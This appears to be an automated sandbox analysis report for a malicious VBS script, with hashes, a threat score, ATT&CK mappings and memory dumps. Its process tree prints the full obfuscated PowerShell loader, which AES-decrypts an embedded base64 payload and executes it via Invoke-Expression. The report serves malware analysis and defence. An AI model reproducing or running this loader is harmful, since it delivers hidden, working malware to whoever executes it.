bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8

General

Target

bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8.vbs
Size

417KB
MD5

fd92f8bccf35e72fe49bab1b596eefce
SHA1

40ecaf11bef8907906b8ddea0ae7d90098a4cebc
SHA256

bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8
SHA512

d344643c03f233667a115149110cd89b3570c87012e578b1cf793b2515a524a3980a99b2c51712e406bd3ad92dcaa17f76eb81a8ab0a767ce5ee403dd428d0f6
SSDEEP

3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2184 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2184 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2184 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2184 powershell.exe

flow	pid	process
4	2184	powershell.exe

pid	process
2184	powershell.exe

pid	process
2184	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2572 wrote to memory of 2184	2572	WScript.exe	powershell.exe
PID 2572 wrote to memory of 2184	2572	WScript.exe	powershell.exe
PID 2572 wrote to memory of 2184	2572	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2184-4-0x000007FEF594E000-0x000007FEF594F000-memory.dmp

Filesize
4KB

Download
memory/2184-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2184-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2184-7-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-8-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-9-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-10-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-11-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-12-0x000000001CA80000-0x000000001CBA2000-memory.dmp

Filesize
1.1MB

Download
memory/2184-13-0x000007FEF5690000-0x000007FEF602D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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